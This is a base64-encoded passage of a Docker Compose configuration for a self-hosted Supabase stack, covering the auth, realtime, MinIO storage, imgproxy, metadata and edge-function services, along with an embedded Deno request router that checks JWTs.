YXV0aGVudGljYXRvcjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUEdSU1RfREJfU0NIRU1BUz0ke1BHUlNUX0RCX1NDSEVNQVM6LXB1YmxpYyxzdG9yYWdlLGdyYXBocWxfcHVibGljfScKICAgICAgLSBQR1JTVF9EQl9BTk9OX1JPTEU9YW5vbgogICAgICAtICdQR1JTVF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFBHUlNUX0RCX1VTRV9MRUdBQ1lfR1VDUz1mYWxzZQogICAgICAtICdQR1JTVF9BUFBfU0VUVElOR1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnUEdSU1RfQVBQX1NFVFRJTkdTX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgIGNvbW1hbmQ6IHBvc3RncmVzdAogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgc3VwYWJhc2UtYXV0aDoKICAgIGltYWdlOiAnc3VwYWJhc2UvZ290cnVlOnYyLjE3NC4wJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5OTk5L2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIEdPVFJVRV9BUElfSE9TVD0wLjAuMC4wCiAgICAgIC0gR09UUlVFX0FQSV9QT1JUPTk5OTkKICAgICAgLSAnQVBJX0VYVEVSTkFMX1VSTD0ke0FQSV9FWFRFUk5BTF9VUkw6LWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDB9JwogICAgICAtIEdPVFJVRV9EQl9EUklWRVI9cG9zdGdyZXMKICAgICAgLSAnR09UUlVFX0RCX0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX2F1dGhfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0dPVFJVRV9TSVRFX1VSTD0ke1NFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkd9JwogICAgICAtICdHT1RSVUVfVVJJX0FMTE9XX0xJU1Q9JHtBRERJVElPTkFMX1JFRElSRUNUX1VSTFN9JwogICAgICAtICdHT1RSVUVfRElTQUJMRV9TSUdOVVA9JHtESVNBQkxFX1NJR05VUDotZmFsc2V9JwogICAgICAtIEdPVFJVRV9KV1RfQURNSU5fUk9MRVM9c2VydmljZV9yb2xlCiAgICAgIC0gR09UUlVFX0pXVF9BVUQ9YXV0aGVudGljYXRlZAogICAgICAtIEdPVFJVRV9KV1RfREVGQVVMVF9HUk9VUF9OQU1FPWF1dGhlbnRpY2F0ZWQKICAgICAgLSAnR09UUlVFX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgICAgLSAnR09UUlVFX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0dPVFJVRV9FWFRFUk5BTF9FTUFJTF9FTkFCTEVEPSR7RU5BQkxFX0VNQUlMX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0dPVFJVRV9FWFRFUk5BTF9BTk9OWU1PVVNfVVNFUlNfRU5BQkxFRD0ke0VOQUJMRV9BTk9OWU1PVVNfVVNFUlM6LWZhbHNlfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9BVVRPQ09ORklSTT0ke0VOQUJMRV9FTUFJTF9BVVRPQ09ORklSTTotZmFsc2V9JwogICAgICAtICdHT1RSVUVfU01UUF9BRE1JTl9FTUFJTD0ke1NNVFBfQURNSU5fRU1BSUx9JwogICAgICAtICdHT1RSVUVfU01UUF9IT1NUPSR7U01UUF9IT1NUfScKICAgICAgLSAnR09UUlVFX1NNVFBfUE9SVD0ke1NNVFBfUE9SVDotNTg3fScKICAgICAgLSAnR09UUlVFX1NNVFBfVVNFUj0ke1NNVFBfVVNFUn0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX1BBU1M9JHtTTVRQX1BBU1N9JwogICAgICAtICdHT1RSVUVfU01UUF9TRU5ERVJfTkFNRT0ke1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX0lOVklURT0ke01BSUxFUl9VUkxQQVRIU19JTlZJVEU6LS9hdXRoL3YxL3ZlcmlmeX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVVJMUEFUSFNfQ09ORklSTUFUSU9OPSR7TUFJTEVSX1VSTFBBVEhTX0NPTkZJUk1BVElPTjotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19SRUNPVkVSWT0ke01BSUxFUl9VUkxQQVRIU19SRUNPVkVSWTotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19FTUFJTF9DSEFOR0U9JHtNQUlMRVJfVVJMUEFUSFNfRU1BSUxfQ0hBTkdFOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19JTlZJVEU9JHtNQUlMRVJfVEVNUExBVEVTX0lOVklURX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0NPTkZJUk1BVElPTj0ke01BSUxFUl9URU1QTEFURVNfQ09ORklSTUFUSU9OfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfUkVDT1ZFUlk9JHtNQUlMRVJfVEVNUExBVEVTX1JFQ09WRVJZfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfTUFHSUNfTElOSz0ke01BSUxFUl9URU1QTEFURVNfTUFHSUNfTElOS30nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9URU1QTEFURVNfRU1BSUxfQ0hBTkdFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19DT05GSVJNQVRJT049JHtNQUlMRVJfU1VCSkVDVFNfQ09ORklSTUFUSU9OfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19SRUNPVkVSWT0ke01BSUxFUl9TVUJKRUNUU19SRUNPVkVSWX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfU1VCSkVDVFNfTUFHSUNfTElOSz0ke01BSUxFUl9TVUJKRUNUU19NQUdJQ19MSU5LfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19FTUFJTF9DSEFOR0U9JHtNQUlMRVJfU1VCSkVDVFNfRU1BSUxfQ0hBTkdFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19JTlZJVEU9JHtNQUlMRVJfU1VCSkVDVFNfSU5WSVRFfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX1BIT05FX0VOQUJMRUQ9JHtFTkFCTEVfUEhPTkVfU0lHTlVQOi10cnVlfScKICAgICAgLSAnR09UUlVFX1NNU19BVVRPQ09ORklSTT0ke0VOQUJMRV9QSE9ORV9BVVRPQ09ORklSTTotdHJ1ZX0nCiAgcmVhbHRpbWUtZGV2OgogICAgaW1hZ2U6ICdzdXBhYmFzZS9yZWFsdGltZTp2Mi4zNC40NycKICAgIGNvbnRhaW5lcl9uYW1lOiByZWFsdGltZS1kZXYuc3VwYWJhc2UtcmVhbHRpbWUKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctc1NmTCcKICAgICAgICAtICctLWhlYWQnCiAgICAgICAgLSAnLW8nCiAgICAgICAgLSAvZGV2L251bGwKICAgICAgICAtICctSCcKICAgICAgICAtICdBdXRob3JpemF0aW9uOiBCZWFyZXIgJHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NDAwMC9hcGkvdGVuYW50cy9yZWFsdGltZS1kZXYvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9SVD00MDAwCiAgICAgIC0gJ0RCX0hPU1Q9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gREJfVVNFUj1zdXBhYmFzZV9hZG1pbgogICAgICAtICdEQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdEQl9OQU1FPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnREJfQUZURVJfQ09OTkVDVF9RVUVSWT1TRVQgc2VhcmNoX3BhdGggVE8gX3JlYWx0aW1lJwogICAgICAtIERCX0VOQ19LRVk9c3VwYWJhc2VyZWFsdGltZQogICAgICAtICdBUElfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBGTFlfQUxMT0NfSUQ9Zmx5MTIzCiAgICAgIC0gRkxZX0FQUF9OQU1FPXJlYWx0aW1lCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFQ1JFVF9QQVNTV09SRF9SRUFMVElNRX0nCiAgICAgIC0gJ0VSTF9BRkxBR1M9LXByb3RvX2Rpc3QgaW5ldF90Y3AnCiAgICAgIC0gRU5BQkxFX1RBSUxTQ0FMRT1mYWxzZQogICAgICAtICJETlNfTk9ERVM9JyciCiAgICAgIC0gUkxJTUlUX05PRklMRT0xMDAwMAogICAgICAtIEFQUF9OQU1FPXJlYWx0aW1lCiAgICAgIC0gU0VFRF9TRUxGX0hPU1Q9dHJ1ZQogICAgICAtIExPR19MRVZFTD1lcnJvcgogICAgICAtIFJVTl9KQU5JVE9SPXRydWUKICAgICAgLSBKQU5JVE9SX0lOVEVSVkFMPTYwMDAwCiAgICBjb21tYW5kOiAic2ggLWMgXCIvYXBwL2Jpbi9taWdyYXRlICYmIC9hcHAvYmluL3JlYWx0aW1lIGV2YWwgJ1JlYWx0aW1lLlJlbGVhc2Uuc2VlZHMoUmVhbHRpbWUuUmVwbyknICYmIC9hcHAvYmluL3NlcnZlclwiXG4iCiAgc3VwYWJhc2UtbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01JTklPX1JPT1RfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ01JTklPX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01JTklPfScKICAgIGNvbW1hbmQ6ICdzZXJ2ZXIgLS1jb25zb2xlLWFkZHJlc3MgIjo5MDAxIiAvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi9kYXRhJwogIG1pbmlvLWNyZWF0ZWJ1Y2tldDoKICAgIGltYWdlOiBtaW5pby9tYwogICAgcmVzdGFydDogJ25vJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01JTklPX1JPT1RfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ01JTklPX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01JTklPfScKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLW1pbmlvOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnRyeXBvaW50OgogICAgICAtIC9lbnRyeXBvaW50LnNoCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9lbnRyeXBvaW50LnNoCiAgICAgICAgdGFyZ2V0OiAvZW50cnlwb2ludC5zaAogICAgICAgIGNvbnRlbnQ6ICIjIS9iaW4vc2hcbi91c3IvYmluL21jIGFsaWFzIHNldCBzdXBhYmFzZS1taW5pbyBodHRwOi8vc3VwYWJhc2UtbWluaW86OTAwMCAke01JTklPX1JPT1RfVVNFUn0gJHtNSU5JT19ST09UX1BBU1NXT1JEfTtcbi91c3IvYmluL21jIG1iIC0taWdub3JlLWV4aXN0aW5nIHN1cGFiYXNlLW1pbmlvL3N0dWI7XG5leGl0IDBcbiIKICBzdXBhYmFzZS1zdG9yYWdlOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9zdG9yYWdlLWFwaTp2MS4xNC42JwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtcmVzdDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgICBpbWdwcm94eToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLW5vLXZlcmJvc2UnCiAgICAgICAgLSAnLS10cmllcz0xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMC9zdGF0dXMnCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWRVJfUE9SVD01MDAwCiAgICAgIC0gU0VSVkVSX1JFR0lPTj1sb2NhbAogICAgICAtIE1VTFRJX1RFTkFOVD1mYWxzZQogICAgICAtICdBVVRIX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX3N0b3JhZ2VfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gREJfSU5TVEFMTF9ST0xFUz1mYWxzZQogICAgICAtIFNUT1JBR0VfQkFDS0VORD1zMwogICAgICAtIFNUT1JBR0VfUzNfQlVDS0VUPXN0dWIKICAgICAgLSAnU1RPUkFHRV9TM19FTkRQT0lOVD1odHRwOi8vc3VwYWJhc2UtbWluaW86OTAwMCcKICAgICAgLSBTVE9SQUdFX1MzX0ZPUkNFX1BBVEhfU1RZTEU9dHJ1ZQogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPXVzLWVhc3QtMQogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgICAtIFVQTE9BRF9GSUxFX1NJWkVfTElNSVQ9NTI0Mjg4MDAwCiAgICAgIC0gVVBMT0FEX0ZJTEVfU0laRV9MSU1JVF9TVEFOREFSRD01MjQyODgwMDAKICAgICAgLSBVUExPQURfU0lHTkVEX1VSTF9FWFBJUkFUSU9OX1RJTUU9MTIwCiAgICAgIC0gVFVTX1VSTF9QQVRIPXVwbG9hZC9yZXN1bWFibGUKICAgICAgLSBUVVNfTUFYX1NJWkU9MzYwMDAwMAogICAgICAtIEVOQUJMRV9JTUFHRV9UUkFOU0ZPUk1BVElPTj10cnVlCiAgICAgIC0gJ0lNR1BST1hZX1VSTD1odHRwOi8vaW1ncHJveHk6ODA4MCcKICAgICAgLSBJTUdQUk9YWV9SRVFVRVNUX1RJTUVPVVQ9MTUKICAgICAgLSBEQVRBQkFTRV9TRUFSQ0hfUEFUSD1zdG9yYWdlCiAgICAgIC0gTk9ERV9FTlY9cHJvZHVjdGlvbgogICAgICAtIFJFUVVFU1RfQUxMT1dfWF9GT1JXQVJERURfUEFUSD10cnVlCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvc3RvcmFnZTovdmFyL2xpYi9zdG9yYWdlJwogIGltZ3Byb3h5OgogICAgaW1hZ2U6ICdkYXJ0aHNpbS9pbWdwcm94eTp2My44LjAnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaW1ncHJveHkKICAgICAgICAtIGhlYWx0aAogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSU1HUFJPWFlfTE9DQUxfRklMRVNZU1RFTV9ST09UPS8KICAgICAgLSBJTUdQUk9YWV9VU0VfRVRBRz10cnVlCiAgICAgIC0gJ0lNR1BST1hZX0VOQUJMRV9XRUJQX0RFVEVDVElPTj0ke0lNR1BST1hZX0VOQUJMRV9XRUJQX0RFVEVDVElPTjotdHJ1ZX0nCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvc3RvcmFnZTovdmFyL2xpYi9zdG9yYWdlJwogIHN1cGFiYXNlLW1ldGE6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3Bvc3RncmVzLW1ldGE6djAuODkuMycKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUEdfTUVUQV9QT1JUPTgwODAKICAgICAgLSAnUEdfTUVUQV9EQl9IT1NUPSR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifScKICAgICAgLSAnUEdfTUVUQV9EQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BHX01FVEFfREJfTkFNRT0ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gUEdfTUVUQV9EQl9VU0VSPXN1cGFiYXNlX2FkbWluCiAgICAgIC0gJ1BHX01FVEFfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICBzdXBhYmFzZS1lZGdlLWZ1bmN0aW9uczoKICAgIGltYWdlOiAnc3VwYWJhc2UvZWRnZS1ydW50aW1lOnYxLjY3LjQnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnRWRnZSBGdW5jdGlvbnMgaXMgaGVhbHRoeScKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdTVVBBQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fU1VQQUJBU0VLT05HfScKICAgICAgLSAnU1VQQUJBU0VfQU5PTl9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAtICdTVVBBQkFTRV9TRVJWSUNFX1JPTEVfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnU1VQQUJBU0VfREJfVVJMPXBvc3RncmVzcWw6Ly9wb3N0Z3Jlczoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnVkVSSUZZX0pXVD0ke0ZVTkNUSU9OU19WRVJJRllfSldUOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvZnVuY3Rpb25zOi9ob21lL2Rlbm8vZnVuY3Rpb25zJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2Z1bmN0aW9ucy9tYWluL2luZGV4LnRzCiAgICAgICAgdGFyZ2V0OiAvaG9tZS9kZW5vL2Z1bmN0aW9ucy9tYWluL2luZGV4LnRzCiAgICAgICAgY29udGVudDogImltcG9ydCB7IHNlcnZlIH0gZnJvbSAnaHR0cHM6Ly9kZW5vLmxhbmQvc3RkQDAuMTMxLjAvaHR0cC9zZXJ2ZXIudHMnXG5pbXBvcnQgKiBhcyBqb3NlIGZyb20gJ2h0dHBzOi8vZGVuby5sYW5kL3gvam9zZUB2NC4xNC40L2luZGV4LnRzJ1xuXG5jb25zb2xlLmxvZygnbWFpbiBmdW5jdGlvbiBzdGFydGVkJylcblxuY29uc3QgSldUX1NFQ1JFVCA9IERlbm8uZW52LmdldCgnSldUX1NFQ1JFVCcpXG5jb25zdCBWRVJJRllfSldUID0gRGVuby5lbnYuZ2V0KCdWRVJJRllfSldUJykgPT09ICd0cnVlJ1xuXG5mdW5jdGlvbiBnZXRBdXRoVG9rZW4ocmVxOiBSZXF1ZXN0KSB7XG4gIGNvbnN0IGF1dGhIZWFkZXIgPSByZXEuaGVhZGVycy5nZXQoJ2F1dGhvcml6YXRpb24nKVxuICBpZiAoIWF1dGhIZWFkZXIpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoJ01pc3NpbmcgYXV0aG9yaXphdGlvbiBoZWFkZXInKVxuICB9XG4gIGNvbnN0IFtiZWFyZXIsIHRva2VuXSA9IGF1dGhIZWFkZXIuc3BsaXQoJyAnKVxuICBpZiAoYmVhcmVyICE9PSAnQmVhcmVyJykge1xuICAgIHRocm93IG5ldyBFcnJvcihgQXV0aCBoZWFkZXIgaXMgbm90ICdCZWFyZXIge3Rva2VufSdgKVxuICB9XG4gIHJldHVybiB0b2tlblxufVxuXG5hc3luYyBmdW5jdGlvbiB2ZXJpZnlKV1Qoand0OiBzdHJpbmcpOiBQcm9taXNlPGJvb2xlYW4+IHtcbiAgY29uc3QgZW5jb2RlciA9IG5ldyBUZXh0RW5jb2RlcigpXG4gIGNvbnN0IHNlY3JldEtleSA9IGVuY29kZXIuZW5jb2RlKEpXVF9TRUNSRVQpXG4gIHRyeSB7XG4gICAgYXdhaXQgam9zZS5qd3RWZXJpZnkoand0LCBzZWNyZXRLZXkpXG4gIH0gY2F0Y2ggKGVycikge1xuICAgIGNvbnNvbGUuZXJyb3IoZXJyKVxuICAgIHJldHVybiBmYWxzZVxuICB9XG4gIHJldHVybiB0cnVlXG59XG5cbnNlcnZlKGFzeW5jIChyZXE6IFJlcXVlc3QpID0+IHtcbiAgaWYgKHJlcS5tZXRob2QgIT09ICdPUFRJT05TJyAmJiBWRVJJRllfSldUKSB7XG4gICAgdHJ5IHtcbiAgICAgIGNvbnN0IHRva2VuID0gZ2V0QXV0aFRva2VuKHJlcSlcbiAgICAgIGNvbnN0IGlzVmFsaWRKV1QgPSBhd2FpdCB2ZXJpZnlKV1QodG9rZW4pXG5cbiAgICAgIGlmICghaXNWYWxpZEpXVCkge1xuICAgICAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KHsgbXNnOiAnSW52YWxpZCBKV1QnIH0pLCB7XG4gICAgICAgICAgc3RhdHVzOiA0MDEsXG4gICAgICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfSBjYXRjaCAoZSkge1xuICAgICAgY29uc29sZS5lcnJvcihlKVxuICAgICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeSh7IG1zZzogZS50b1N0cmluZygpIH0pLCB7XG4gICAgICAgIHN0YXR1czogNDAxLFxuICAgICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICAgIH0pXG4gICAgfVxuICB9XG5cbiAgY29uc3QgdXJsID0gbmV3IFVSTChyZXEudXJsKVxuICBjb25zdCB7IHBhdGhuYW1lIH0gPSB1cmxcbiAgY29uc3QgcGF0aF9wYXJ0cyA9IHBhdGhuYW1lLnNwbGl0KCcvJylcbiAgY29uc3Qgc2VydmljZV9uYW1lID0gcGF0aF9wYXJ0c1sxXVxuXG4gIGlmICghc2VydmljZV9uYW1lIHx8IHNlcnZpY2VfbmFtZSA9PT0gJycpIHtcbiAgICBjb25zdCBlcnJvciA9IHsgbXNnOiAnbWlzc2luZyBmdW5jdGlvbiBuYW1lIGluIHJlcXVlc3QnIH1cbiAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KGVycm9yKSwge1xuICAgICAgc3RhdHVzOiA0MDAsXG4gICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICB9KVxuICB9XG5cbiAgY29uc3Qgc2VydmljZVBhdGggPSBgL2hvbWUvZGVuby9mdW5jdGlvbnMvJHtzZXJ2aWNlX25hbWV9YFxuICBjb25zb2xlLmVycm9yKGBzZXJ2aW5nIHRoZSByZXF1ZXN0IHdpdGggJHtzZXJ2aWNlUGF0aH1gKVxuXG4gIGNvbnN0IG1lbW9yeUxpbWl0TWIgPSAxNTBcbiAgY29uc3Qgd29ya2VyVGltZW91dE1zID0gMSAqIDYwICogMTAwMFxuICBjb25zdCBub01vZHVsZUNhY2hlID0gZmFsc2VcbiAgY29uc3QgaW1wb3J0TWFwUGF0aCA9IG51bGxcbiAgY29uc3QgZW52VmFyc09iaiA9IERlbm8uZW52LnRvT2JqZWN0KClcbiAgY29uc3QgZW52VmFycyA9IE9iamVjdC5rZXlzKGVudlZhcnNPYmopLm1hcCgoaykgPT4gW2ssIGVudlZhcnNPYmpba11dKVxuXG4gIHRyeSB7XG4gICAgY29uc3Qgd29ya2VyID0gYXdhaXQgRWRnZVJ1bnRpbWUudXNlcldvcmtlcnMuY3JlYXRlKHtcbiAgICAgIHNlcnZpY2VQYXRoLFxuICAgICAgbWVtb3J5TGltaXRNYixcbiAgICAgIHdvcmtlclRpbWVvdXRNcyxcbiAgICAgIG5vTW9kdWxlQ2FjaGUsXG4gICAgICBpbXBvcnRNYXBQYXRoLFxuICAgICAgZW52VmFycyxcbiAgICB9KVxuICAgIHJldHVybiBhd2FpdCB3b3JrZXIuZmV0Y2gocmVxKVxuICB9IGNhdGNoIChlKSB7XG4gICAgY29uc3QgZXJyb3IgPSB7IG1zZzogZS50b1N0cmluZygpIH1cbiAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KGVycm9yKSwge1xuICAgICAgc3RhdHVzOiA1MDAsXG4gICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiA